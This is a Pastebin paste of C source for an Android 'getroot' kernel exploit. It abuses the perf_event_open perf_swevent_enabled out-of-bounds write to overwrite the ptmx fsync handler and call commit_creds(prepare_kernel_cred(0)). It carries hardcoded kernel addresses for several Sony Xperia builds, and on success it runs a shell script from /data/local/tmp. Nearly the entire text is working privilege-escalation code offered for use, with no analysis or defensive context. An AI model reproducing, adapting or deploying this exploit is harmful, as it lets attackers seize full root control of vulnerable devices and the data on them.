Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /* getroot for SO-01E 9.1.C.0.473 */
- /*
- * Copyright (C) 2013 CUBE
- *
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation, either version 3 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program. If not, see <http://www.gnu.org/licenses/>.
- *
- */
- #include <stdint.h>
- #include <stdbool.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <errno.h>
- #define _LARGEFILE64_SOURCE
- #include <sys/types.h>
- #include <unistd.h>
- #include <sys/stat.h>
- #include <fcntl.h>
- #include <sys/syscall.h>
- #include <signal.h>
- #include <sys/wait.h>
- #define PTMX_DEVICE "/dev/ptmx"
- #define PERF_SWEVENT_MAX_FILE 980
- #ifndef __NR_perf_event_open
- #define __NR_perf_event_open (__NR_SYSCALL_BASE + 364)
- #endif
- #define MIN(x, y) (((x) < (y)) ? (x) : (y))
- #define BUFFER_SIZE 5
- typedef struct _supported_device {
- const char *device;
- const char *build_id;
- void *prepare_kernel_cred;
- void *commit_creds;
- void *remap_pfn_range;
- unsigned long int perf_swevent_enabled;
- unsigned long int ptmx_fops;
- } supported_device;
- supported_device supported_devices[] = {
- { "SO-03D","6.1.F.0.106",(void *)0xc01b6a40,(void *)0xc01b6348,(void *)0xc02259c4,0xc0c90228,0xc0c9b700 },
- { "IS12S", "6.1.D.1.74", (void *)0xc01b6a40,(void *)0xc01b6348,(void *)0xc02259c4,0xc0c902e8,0xc0c9b7b0 },
- { "LT26w", "6.2.B.0.200",(void *)0xc00b261c,(void *)0xc00b2140,(void *)0xc0136294,0xc0cafa74,0xc0cc3dc0 },
- { "LT26w", "6.2.B.0.211",(void *)0xc00b262c,(void *)0xc00b2150,(void *)0xc01362a4,0xc0cafa74,0xc0cc3dc0 }
- };
- typedef struct {
- unsigned long pgprot;
- } pgprot_t;
- struct vm_area_struct {
- void *vm_mm;
- unsigned long vm_start, vm_end;
- void *vm_next, *vm_prev;
- pgprot_t vm_page_prot;
- /* ... */
- };
- struct cred;
- struct task_struct;
- struct cred *(*prepare_kernel_cred)(struct task_struct *);
- int (*commit_creds)(struct cred *);
- int (*remap_pfn_range)(struct vm_area_struct *, unsigned long addr, unsigned long pfn, unsigned long size, pgprot_t);
- static pid_t *child_process;
- static int current_process_number;
- static int st_pos;
- static int n_supported_devices = sizeof(supported_devices) / sizeof(supported_devices[0]);
- enum {
- READ_END,
- WRITE_END
- };
- void obtain_root_privilege(void) {
- commit_creds(prepare_kernel_cred(0));
- }
- static bool run_obtain_root_privilege(void *user_data) {
- int fd;
- fd = open(PTMX_DEVICE, O_WRONLY);
- fsync(fd);
- close(fd);
- return true;
- }
- static pid_t prepare_pipes(int *read_fd) {
- pid_t pid;
- int stdout_pipe[2];
- if (pipe(stdout_pipe) < 0) {
- return -1;
- }
- pid = fork();
- if (pid == -1) {
- return -1;
- } else if (pid == 0) {
- close(stdout_pipe[READ_END]);
- dup2(stdout_pipe[WRITE_END], STDOUT_FILENO);
- if (stdout_pipe[WRITE_END] >= 3) {
- close(stdout_pipe[WRITE_END]);
- }
- } else {
- close(stdout_pipe[WRITE_END]);
- *read_fd = stdout_pipe[READ_END];
- }
- return pid;
- }
- static bool syscall_perf_event_open(uint32_t offset) {
- uint64_t buf[10] = {0x4800000001, offset, 0, 0, 0, 0x300};
- int fd;
- fd = syscall(__NR_perf_event_open, buf, 0, -1, -1, 0);
- if (fd < 0) {
- fprintf(stderr, "Error %s\n", strerror(errno));
- }
- return (fd > 0);
- }
- static pid_t increment_address_value_in_child_process(unsigned long int address, int count, int *child_fd) {
- unsigned long int perf_swevent_enabled;
- int offset;
- int i = 0;
- pid_t pid;
- perf_swevent_enabled = supported_devices[st_pos].perf_swevent_enabled;
- offset = (int)(address - perf_swevent_enabled) / 4;
- offset |= 0x80000000;
- pid = prepare_pipes(child_fd);
- if (pid == 0) {
- for (i = 0; i < count; i++) {
- syscall_perf_event_open(offset);
- }
- printf("Done.\n");
- }
- return pid;
- }
- int perf_event_write_value_at_address(unsigned long int address, int value) {
- int number_of_children;
- printf("Writing address is %x\n", value);
- current_process_number = 0;
- number_of_children = value / PERF_SWEVENT_MAX_FILE + 1;
- child_process = (pid_t *)malloc(number_of_children * sizeof(pid_t));
- while (value > 0) {
- char buffer[BUFFER_SIZE];
- int child_fd;
- int min = MIN(value, PERF_SWEVENT_MAX_FILE);
- pid_t pid = increment_address_value_in_child_process(address, min, &child_fd);
- if (pid <= 0) {
- return (int)pid;
- }
- read(child_fd, buffer, sizeof(buffer));
- close(child_fd);
- child_process[current_process_number] = pid;
- current_process_number++;
- value -= PERF_SWEVENT_MAX_FILE;
- }
- return current_process_number;
- }
- void perf_event_reap_child_process(int number) {
- int i;
- for (i = 0; i < number; i++) {
- kill(child_process[i], SIGKILL);
- }
- sleep(1);
- for (i = 0; i < number; i++) {
- int status;
- waitpid(child_process[i], &status, WNOHANG);
- }
- free(child_process);
- }
- bool perf_swevent_run_exploit(unsigned long int address, int value, bool (*exploit_callback)(void *user_data), void *user_data) {
- int number_of_children;
- bool success;
- number_of_children = perf_event_write_value_at_address(address, value);
- if (number_of_children < 0) {
- return false;
- }
- if (number_of_children == 0) {
- while (true) {
- sleep(1);
- }
- }
- success = exploit_callback(user_data);
- perf_event_reap_child_process(number_of_children);
- return success;
- }
- static bool run_exploit(void) {
- unsigned long int ptmx_fops_address;
- unsigned long int ptmx_fsync_address;
- ptmx_fops_address = supported_devices[st_pos].ptmx_fops;
- ptmx_fsync_address = ptmx_fops_address + 0x38;
- return perf_swevent_run_exploit(ptmx_fsync_address, (int)&obtain_root_privilege, run_obtain_root_privilege, NULL);
- }
- static bool detect_injection_addresses(void)
- {
- int i;
- char device[255];
- char build_id[255];
- __system_property_get("ro.product.model", device);
- __system_property_get("ro.build.display.id", build_id);
- for (i = 0; i < n_supported_devices; i++) {
- if (!strcmp(device, supported_devices[i].device) &&
- !strcmp(build_id, supported_devices[i].build_id)) {
- st_pos = i;
- return true;
- }
- }
- printf("%s (%s) is not supported.\n", device, build_id);
- return false;
- }
- int main(int argc, char **argv) {
- if ( detect_injection_addresses()==false){
- return -1;
- }
- prepare_kernel_cred = supported_devices[st_pos].prepare_kernel_cred;
- commit_creds = supported_devices[st_pos].commit_creds;
- remap_pfn_range = supported_devices[st_pos].remap_pfn_range;
- printf("Wait a minutes...\n");
- run_exploit();
- if (getuid() != 0) {
- printf("Failed to getroot.\n");
- exit(EXIT_FAILURE);
- }
- printf("Succeeded in getroot!\n");
- system("/data/local/tmp/install_tool.sh");
- exit(EXIT_SUCCESS);
- return 0;
- }
Add Comment
Please, Sign In to add comment